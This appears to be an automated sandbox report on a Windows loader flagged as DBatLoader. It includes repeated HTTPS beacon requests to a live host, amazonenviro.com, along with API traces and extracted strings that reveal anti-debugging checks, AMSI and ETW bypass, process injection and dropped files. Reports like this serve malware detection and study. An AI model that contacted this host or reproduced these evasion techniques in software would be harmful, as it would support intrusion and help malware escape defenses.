2025-01-14 07:24:28 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:28 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50038	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:29 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:29 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:29 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50050	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:31 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:31 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:31 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50061	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:32 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:33 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:33 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50073	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:34 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:34 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50087	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:35 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:36 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:36 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50099	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:37 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:38 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:38 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50112	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:39 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:39 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50124	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:41 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:41 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:41 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50129	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:42 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:43 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:43 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50131	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:44 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:45 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:44 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50133	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:46 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:47 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50135	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:48 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:48 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:48 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50137	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:49 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:50 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:50 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50139	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:51 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:52 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:51 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50141	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:53 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:53 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:53 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50143	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:54 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:55 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:55 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50145	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:56 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50147	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:58 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:58 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:58 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50149	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:59 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:00 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50151	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:01 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:01 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:01 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50153	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:02 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:03 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:03 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50155	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:04 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:05 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	02:22:57
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\LbZ88q4uPa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LbZ88q4uPa.exe"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	BF9B75ADF866583299DBC8A5FAD66CFC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2954365899.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2938050052.0000000002296000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.6%
Total number of Nodes:	268
Total number of Limit Nodes:	16

Executed Functions

Function 0286F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InetIsOffline.URL(00000000,00000000,0287B3D5,?,?,?,000002F7,00000000,00000000), ref: 0286F0E2

Part of subcall function 0286881C: LoadLibraryA.KERNEL32(00000000,00000000,02868903), ref: 02868850
Part of subcall function 0286881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02868903), ref: 02868860
Part of subcall function 0286881C: GetProcAddress.KERNEL32(74B20000,00000000), ref: 02868879
Part of subcall function 0286881C: FreeLibrary.KERNEL32(74B20000,00000000,028B2388,Function_000065D8,00000004,028B2398,028B2388,000186A3,00000040,028B239C,74B20000,00000000,00000000,00000000,00000000,02868903), ref: 028688E3

Part of subcall function 0286EFC8: GetModuleHandleW.KERNEL32(KernelBase,?,0286F3CC,UacInitialize,028B237C,0287B40C,UacScan,028B237C,0287B40C,ScanBuffer,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanString), ref: 0286EFCE
Part of subcall function 0286EFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0286EFE0

Part of subcall function 0286F024: GetModuleHandleW.KERNEL32(KernelBase), ref: 0286F034
Part of subcall function 0286F024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0286F046
Part of subcall function 0286F024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0286F05D

Part of subcall function 02857E10: GetFileAttributesA.KERNEL32(00000000,?,0286FD00,ScanString,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanString,028B237C,0287B40C,UacScan,028B237C,0287B40C,UacInitialize), ref: 02857E1B

Part of subcall function 0285C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029A68C8,?,02870032,ScanBuffer,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanBuffer,028B237C,0287B40C,OpenSession), ref: 0285C2FB

Part of subcall function 0286DFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286E0B4), ref: 0286E01F
Part of subcall function 0286DFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0286E0B4), ref: 0286E04F
Part of subcall function 0286DFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0286E064
Part of subcall function 0286DFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0286E090
Part of subcall function 0286DFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0286E099

Part of subcall function 02857E34: GetFileAttributesA.KERNEL32(00000000,?,02872E7D,ScanString,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanBuffer,028B237C,0287B40C,OpenSession,028B237C,0287B40C,Initialize), ref: 02857E3F

Part of subcall function 02857FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,0287301B,OpenSession,028B237C,0287B40C,ScanString,028B237C,0287B40C,Initialize,028B237C,0287B40C,ScanString,028B237C,0287B40C), ref: 02857FD5

Part of subcall function 0286DF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286DFD2), ref: 0286DF3F
Part of subcall function 0286DF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0286DF79
Part of subcall function 0286DF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0286DFA6
Part of subcall function 0286DF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0286DFAF

Part of subcall function 02868798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028B23A4,0286A3BF,ScanString,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,Initialize,028B23A4,0286A774,UacScan), ref: 028687AC
Part of subcall function 02868798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028687C6
Part of subcall function 02868798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028B23A4,0286A3BF,ScanString,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,Initialize), ref: 02868802

Part of subcall function 02868704: LoadLibraryW.KERNEL32(amsi), ref: 0286870D
Part of subcall function 02868704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0286876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanBuffer,028B237C,0287B40C,OpenSession,028B237C,0287B40C,0287B764), ref: 02874DEB

Part of subcall function 0286DE78: RtlInitUnicodeString.NTDLL(?,?), ref: 0286DEA0
Part of subcall function 0286DE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286DEF2), ref: 0286DEB6
Part of subcall function 0286DE78: NtDeleteFile.NTDLL(?), ref: 0286DED5

MoveFileA.KERNEL32(00000000,00000000), ref: 02874FEB
MoveFileA.KERNEL32(00000000,00000000), ref: 02875041

Strings

NEO.c, xrefs: 02874879
Initialize, xrefs: 0286F17B, 028700FD, 02870291, 0287042F, 028705D5, 0287088A, 02870F2D, 02871369, 02871813, 0287191D, 02872004, 02872336, 02872656, 0287298A, 02872B38, 02872E91, 0287324A, 028753F2, 02875787, 02875B83, 02875D48, 02875FB4, 028760F2, 028762F7, 0287726C, 02877F24, 02878F31, 02879B1C, 02879EBA, 0287A3E9, 0287A7A3, 0287ACEF
sppwmi, xrefs: 0287A95B
NtOpenObjectAuditAlarm, xrefs: 02878DAA
SLGatherMigrationBlob, xrefs: 0287A977
endpointdlp, xrefs: 02879FC3, 02879FF6, 0287A029, 0287A05C
CreateProcessAsUserW, xrefs: 0287A589, 0287A5A7
DlpGetWebSiteAccess, xrefs: 0287A045
VirtualAllocEx, xrefs: 0287A66B
UacScan, xrefs: 0286F30B, 0286F9BA, 0286FAB2, 02870081, 02870C67, 02871245, 02871BA7, 028722BA, 028734CB, 02873695, 028737F6, 0287396F, 02873AF2, 02873CC3, 02873DA1, 02873F2F, 0287443B, 028747F8, 02874A2D, 0287570B, 02875C7B, 02875E40, 0287616E, 0287627B, 028764D9, 028765D1, 02877174, 02877516, 0287772D, 028778C0, 02877B14, 02877FA0, 02878129, 02878282, 02878428, 028785B5, 02878749, 028788C8, 02878B3F, 02878FAD, 028791C7, 028793A8, 0287951C, 02879752, 0287A5C2
SLGetEncryptedPIDEx, xrefs: 0287A9AA
CryptSIPGetInfo, xrefs: 0286F675
C:\Users\Public\, xrefs: 028735B7, 02875904, 02876B77
MiniDumpReadDumpStream, xrefs: 02878DE6
C:\Users\Public\alpha.pif, xrefs: 02874F6A
EtwEventWriteEx, xrefs: 0287AC74
EtwEventWrite, xrefs: 0287ACA7
NtOpenSection, xrefs: 0287AA76
spp, xrefs: 02879C58, 02879C8B, 0287A928
DlpGetArchiveFileTraceInfo, xrefs: 0287A012
NtReadVirtualMemory, xrefs: 0287AB0F
Ntdll, xrefs: 0287A4DA, 0287A4E9, 0287A4F8, 0287A507
DlpCheckIsCloudSyncApp, xrefs: 02879FDF
SLIsGenuineLocalEx, xrefs: 02879A34
NtSetSecurityObject, xrefs: 02878DFA
BCryptVerifySignature, xrefs: 0286F78A, 02879E05
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 0287026B
NtCreateSection, xrefs: 0287AAA9
smartscreenps, xrefs: 0286F932, 0286F965, 0286F998
RtlAllocateHeap, xrefs: 0287A1A3, 0287A209
FindCertsByIssuer, xrefs: 0286F54A
NtQuerySecurityObject, xrefs: 0287AB42
GetProxyDllInfo, xrefs: 0286F40B
NtQuerySystemInformation, xrefs: 0287A4D5
FX.c, xrefs: 02874B2F
[InternetShortcut], xrefs: 028768CC
ScanBuffer, xrefs: 0286F2A7, 0286F5FF, 0286F829, 0286FD90, 0286FE9D, 0286FFB5, 02870389, 02870527, 028706CD, 028707ED, 02870982, 02870A7A, 02870CE3, 02870E89, 02871025, 0287113B, 028711C9, 028714DD, 0287177E, 0287188F, 02871A2C, 02871DD7, 02871EE3, 02872101, 0287221E, 02872539, 028725DA, 0287274E, 0287290E, 02872C30, 02873027, 028732C6, 02873357, 02873711, 028738F3, 02873A67, 02873BEA, 02873C66, 02873E1D, 02874027, 02874285, 028744B7, 028746FB, 02874943, 02874BF9, 02874D5F, 02874EF4, 0287522C, 02875566, 0287587F, 02875BFF, 02875F38, 028761EA, 028763EF, 02876555, 028766C9, 02876745, 028772E8, 02877379, 028777A9, 0287793C, 02877A98, 02877B90, 028780AD, 0287837A, 02878520, 028786AD, 02878841, 028789C0, 02878C37, 02878D2F, 0287914B, 02879424, 02879598, 028797CE, 02879860, 02879B98, 02879F36, 0287A465, 0287AD6B
DlpNotifyPreDragDrop, xrefs: 02879FAC
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02873795
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02873ADC
C:\\Users\\Public\\Libraries\\, xrefs: 02874F9A, 02874FF0, 02875CEB
WintrustAddActionID, xrefs: 0286F517
C:\Users\Public\aken.pif, xrefs: 02874F85
NtOpenProcess, xrefs: 02878E0E
wintrust, xrefs: 0286F4FB, 0286F52E, 0286F561
NtMapViewOfSection, xrefs: 0287AADC
NtAlertResumeThread, xrefs: 0287A170
CreateProcessAsUserA, xrefs: 0287A57A
tquery, xrefs: 02879C25
NtQueryVirtualMemory, xrefs: 0287AA10
EnumServicesStatusA, xrefs: 0287A511
bcrypt, xrefs: 0286F7A1, 0286F7D4, 0286F807, 02879E1C
BCryptRegisterProvider, xrefs: 0286F7F0
psapi, xrefs: 02879CBE
CryptSIPVerifyIndirectData, xrefs: 0286F6A8, 02879CDA
IconIndex=, xrefs: 02876931
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02874C82
GET, xrefs: 02871D36
mssip32, xrefs: 0286F68C, 0286F6BF, 0286F6F2, 02879CF1
OpenProcess, xrefs: 0287A6D1
lld.SLITUTEN, xrefs: 02873EEC
C:\\Windows \\SysWOW64\\, xrefs: 02873F02, 02874316
NtWriteVirtualMemory, xrefs: 0287AC0E
SetUnhandledExceptionFilter, xrefs: 0287A76A
dbgcore, xrefs: 02878DD7, 02878DEB
NtWaitForSingleObject, xrefs: 0287A1D6
NtOpenFile, xrefs: 0287AC41
UacUninitialize, xrefs: 02873152, 0287344F, 02873547, 02873D25, 028743BF
EnumServicesStatusW, xrefs: 0287A520
LdrLoadDll, xrefs: 0287ABA8
WinHttp.WinHttpRequest.5.1, xrefs: 02871C1D
DllGetClassObject, xrefs: 0286F3E4, 0286F91B, 02879C74, 0287A944
GZmMS1j, xrefs: 0286F0F0
VirtualProtect, xrefs: 0287A69E
RtlQueryProcessDebugInformation, xrefs: 0287A502
NtDeviceIoControlFile, xrefs: 0287A4E4
WriteVirtualMemory, xrefs: 0287A704
OpenSession, xrefs: 0286F117, 0286F243, 0286FBF3, 0286FD14, 0286FE21, 0286FF39, 0287030D, 028704AB, 02870651, 02870771, 02870906, 028709FE, 02870BEB, 02870D91, 028710BF, 028712ED, 02871461, 02871584, 02871702, 02871AA8, 02871B2B, 02871C43, 02871D5B, 02871E67, 02872085, 028721A2, 02872441, 028724BD, 028726D2, 02872872, 02872BB4, 02872D6F, 02872F89, 028730A3, 028733D3, 02873872, 028739EB, 02873B6E, 02873FAB, 02874209, 02874343, 0287467F, 028748C7, 02874AA9, 02874B7D, 02874CE3, 02874E78, 028751B0, 0287534A, 028754EA, 0287568F, 02875803, 02875A53, 02875B07, 02875DC4, 02875EBC, 02876373, 0287664D, 028767C1, 02876957, 02876B07, 028771F0, 028773F5, 0287760E, 028776B1, 02877844, 02877C0C, 02877EA8, 028781A5, 028782FE, 028784A4, 02878631, 028787C5, 02878944, 02878A47, 02878BBB, 02878E39, 02879029, 0287931A, 